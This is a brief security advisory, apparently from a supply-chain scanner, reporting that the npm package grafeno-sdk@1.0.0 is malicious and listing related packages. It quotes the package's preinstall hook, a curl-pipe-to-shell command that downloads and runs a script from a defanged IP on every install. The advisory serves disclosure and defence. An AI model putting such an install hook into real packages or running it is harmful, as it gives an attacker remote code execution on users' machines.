grafeno-sdk@1.0.0
Malicious code in grafeno-sdk (npm)
T1059.007 · JavaScriptT1105 · Ingress Tool Transfer
Analysis
The package's preinstall hook executes a remote shell script at install time: it runs `curl -s 216[.]126[.]236[.]46/x.sh | sh` via /bin/bash. The package itself contains no functional code (a 39-byte index.js), so its only purpose is to download and execute an arbitrary script from the IP 216[.]126[.]236[.]46 on every install. This is a remote code execution / downloader payload.
- analyzed by
- Leitwacht
- first seen
- Aug 28, 2026, 10:47 PM
- analyzed
- Aug 28, 2026, 10:47 PM
Related advisories
- spc-grafeno@1.0.0
- grafeno-api@1.0.0
- grafeno-actions@999.0.0
- @7nohe/openapi-react-query-codegen@0.0.0-365d4eb738d3146583431948d3ba6e27a32556be
- mfa-js@1.0.4
- @bx-ui-framework/common@15.0.0
- 2fasecretkey@1.1.2
- 2fa-secretkey@1.0.1
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.